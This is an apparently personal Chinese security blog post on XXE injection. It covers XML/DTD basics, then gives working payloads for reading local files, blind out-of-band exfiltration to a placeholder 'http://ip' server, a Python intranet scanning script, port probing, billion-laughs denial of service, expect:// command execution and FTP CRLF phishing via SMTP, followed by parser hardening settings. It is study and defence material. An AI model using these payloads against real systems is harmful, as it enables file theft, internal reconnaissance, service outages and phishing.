V0W's Blog

XXE学习笔记

字数统计: 4,356阅读时长: 18 min
2019/01/20 Share

XXE是什么

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这是一个注入漏洞。注入的是什么?XML外部实体。因此其利用点是 外部实体 ,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。(相反,单纯的XML注入比较鸡肋。)

在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

什么是 XML?

以下内容主要参考W3School的XML系列教程

要了解XXE,首先要了解XML标记语言。XML标记语言有哪些特征呢?

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签
  • XML 被设计为具有自我描述性

XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。XML文档用途广泛,最常见的比如订阅一个网站时的rss.xml等。XML本质上就是一段自我描述的数据。XML是一种树结构。语法参考链接http://www.w3school.com.cn/xml/xml_syntax.asp

重点语法规则主要有这样几点:

  • 所有 XML 元素都须有关闭标签

  • XML 标签对大小写敏感

  • XML 必须正确地嵌套

  • XML 文档必须有根元素
  • XML 的属性值须加引号
  • 如果你把字符 “<” 放在 XML 元素中,会发生错误,一些特殊字符需要转义。

此外,好的XML文档不仅遵循XML的规范,还符合DTD(document type definition)规范。

什么是DTD?

所谓的DTD,Document Type Definition,文件类型定义,用来宣告网页的文件类型。举例来说,HTML 有很多版本,如:HTML, HTML2.0, … , XHTML, XHTML5 等,利用<!DOCTYPE> 让浏览器能正确显示内容。

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。可一致地使用某个标准的 DTD 来交换数据。应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。还可以使用 DTD 来验证您自身的数据。

它使用一系列合法的元素来定义文档结构:

1
2
3
4
5
6
7
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

1
<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [ 这是DTD内部声明
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。

  • !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”

  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

    (之后类似)

这里有一个小重点Tips:

  • “#PCDATA” 类型为被解析的字符数据(parsed character data)。表示读文件按照XML格式进行解析
  • “#CDATA”类型为字符数据(character data)。表示读文件但是不用解析,直接读文件的原始内容

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> # dtd文件的绝对路径
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

其他更多的可能需要读者参考这个链接进行学习http://www.w3school.com.cn/dtd/index.asp。

一个内部实体声明

语法:

1
<!ENTITY 实体名称 "实体的值">

例子:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

一个外部实体声明

语法:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

XXE 的成因

上面介绍了这么多,大概才把XXE的基础知识介绍完,接下来,我们具体看一下这个外部实体注入漏洞的成因和攻击面。

会发生XXE 主要是因为parser 没有禁止使用外部实体,如常见的php函数simplexml_load_string()会解析外部实体。我们可以自行定义一个实体名称,并在实体内容中定义要服务器做的行为,从而造成攻击,因此注入点通常是可以输入XML 的位置。

XXE的攻击面

那么,我们究竟可以利用XXE做哪些事情呢?下面介绍一下XXE的攻击面。

1. 有回显的任意文件读取

攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们可以控制输入的XML代码造成服务器上任意文件的读取。

xml.php

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<creds>&xxe;</creds>

但是直接读文件,在遇到文件内容中含有<,&等未转义的字符时,解析会报错。这是由于XML的外部实体特性导致的,如以下文件:

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<head>
<title>HTML5 rose</title>
<meta charset="utf-8">
</head>
<body>

解决方案

前面提到CDATA是将文件当做原始字符串而不进行解析,于是,可以通过 <![CDATA[]]>将payload包裹起来,使其不解析为XML就可以读取此类文件了。由于普通实体不能直接拼接,需要先拼接再调用,于是需要利用参数实体。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///e:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%xxe;%end;">

于是通过XXECDATA就基本上实现了任意文件读取。

2. 无回显任意文件读取(Blind OOB XXE)

通常情况下,xml文件是用于服务器的各项配置的,而不是直接输出的,于是我们需要寻找其他不依托服务器回显的方法来实现任意文件读取。

xml.php

1
2
3
4
5
6
7
<?php
//相比上一段代码,缺少了回显过程,只有解析过程。
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

那么,利用什么方法来进行无回显的读取呢?

通过之前的学习,我们知道参数实体是可以合并依次调用的。那么我们可以利用三个参数实体,先去访问VPS的一个evil.dtd,调用evil.dtd的参数去读取服务器的敏感文件,放到一个参数中,再利用最后一个参数实体将文件内容发到VPS的一个端口。

利用这个思路,我们可以构造这样的payload:

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/test.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>">

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

需要注意的是dtd文件中作为内容的一段实体数据需要转义"<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>"

发现虽然无回显,但是依然可以通过这样的方法读取数据。

笔者通过一个图来理解整个调用过程:

上面说了XXE读文件的两种操作,主要适合利用file协议,攻击方式上有点类似SSRF,通过伪造xml外部实体或者dtd文件来执行,读取服务器上的敏感文件。事实上,我们还可以通过XXE打开内网渗透的大门,下面来学习一下通过XXE进行内网的探测。

3. http内网探测

类似的,我们通过读文件的方式判断是否存在内网主机,筛选出内网主机IP。如果能从中读取到内容,那么可以判断这个IP的内网主机是存在的。

在此之前,还有一个步骤需要完成,即确定内网的网段,时间宝贵,我们应该优先确定内网网段,再查找内网主机IP,所以需要利用XXE读取一些文件如/proc/net/arp/etc/host等。

还是利用上面有回显xml.php为例子:

读取文件后,基本确定内网网段在192.168.118.0

构建脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import base64

# referer: https://xz.aliyun.com/t/3357#toc-11
ip_arr=[]

def build_xml(string):
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """<!DOCTYPE creds ["""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<creds>&xxe;</creds>"""
# print xml
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://192.168.118.144/xxe.php', data=xml, headers=headers, timeout=5).text
print x
# print base64.b64decode(x)
if x is not None:
ip_arr.append(x)

for i in range(1, 255):
try:
i = str(i)
ip = '192.168.118.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

4. http内网主机端口探测

关于端口探测,和主机探测是类似的意思,在确定主机IP后,固定IP,利用payload,循环修改端口,查看结果即可。通常情况下,可以根据响应时间/长度/响应数据,攻击者将可以判断该端口是否已被开启。

比如说,我们确定了一台主机,利用下面的payload,在测试环境下会报错,而且端口开放与未开放的报错不一样,于是可以进行区分(80为开放端口,2333为未开放端口):

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "https://127.0.0.1:83/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

可以利用burpsuite或者写脚本,都可以很轻松的进行端口扫描,但是若想全部扫描,这个过程会比较耗时,也可以构建常用端口字典,进行部分扫描,提高效率。

笔者测试发现不同的环境,结果可能会不一样,因此可能需要不同的payload进行端口扫描,这个需要具体结合代码和测试结果来敲定一个有效的payload。

5. XInclude

这个和SchemaEntity有关,可以看成是XML的扩展和继承,想了解更多可能要参考这个: http://www.w3school.com.cn/schema/schema_intro.asp

XML Schema:称为可扩展标记语言架构,用来定义 XML 文档的合法构建模块,类似 DTD,Schema是DTD的替代者, 它比DTD可以做更多的事情 。

include的href属性中可以进行文件读取,也可以使用协议进行SSRF。不过Xinclude需要手动开启,测试发现所有xml parser都默认关闭这一特性。

示例代码

1
2
3
4
5
<?xml version="1.0"?>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/rq/f123333333ag" parse="text">
</xi:include>
</data>

6. 其他攻击

6.1 DDoS

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

6.2 php except模块下RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE。

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

6.3 钓鱼

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼。以下内容摘自https://www.freebuf.com/articles/web/177979.html

我们使用Java的XML解析器找到了一个易受攻击的端点。扫描内部端口后,我们发现了一个侦听在25端口的SMTP服务,Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

1
2
3
4
5
6
7
8
9
10
11
12
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

XXE的防护

在介绍成因的时候说过,会发生XXE 主要是因为parser 没有禁止使用外部实体,所以防护方法就是使用语言中推荐的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

Java:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

总结

XXE作为2017最新发布的OWASP TOP10的漏洞,其广泛性和危害性不言而喻。其攻击手段也是多种多样,在和其他漏洞结合之后,可以产生惊人的效果。笔者对XXE做了很多的复现和研究,得到的一些感悟和收获。之后可能还会对扩展性的xml_Schema以及与其他漏洞的结合做进一步的深入学习研究。

参考链接

  1. K0rz3n——一篇文章带你深入理解漏洞之 XXE 漏洞
  2. W3School的XML系列教程
  3. XML文档解析的几种方式
  4. freebuf——XXE学习之路-STEP BY STEP
  5. freebuf——XXE漏洞利用技巧:从XML到远程代码执行
  6. DTD/XXE 攻击笔记分享
  7. 你所不知道的XML安全
CATALOG
  1. 1. XXE是什么
    1. 1.1. 什么是 XML?
    2. 1.2. 什么是DTD?
  2. 2. XXE 的成因
  3. 3. XXE的攻击面
    1. 3.1. 1. 有回显的任意文件读取
    2. 3.2. 2. 无回显任意文件读取(Blind OOB XXE)
    3. 3.3. 3. http内网探测
    4. 3.4. 4. http内网主机端口探测
    5. 3.5. 5. XInclude
    6. 3.6. 6. 其他攻击
      1. 3.6.1. 6.1 DDoS
      2. 3.6.2. 6.2 php except模块下RCE
      3. 3.6.3. 6.3 钓鱼
  4. 4. XXE的防护
  5. 5. 总结
  6. 6. 参考链接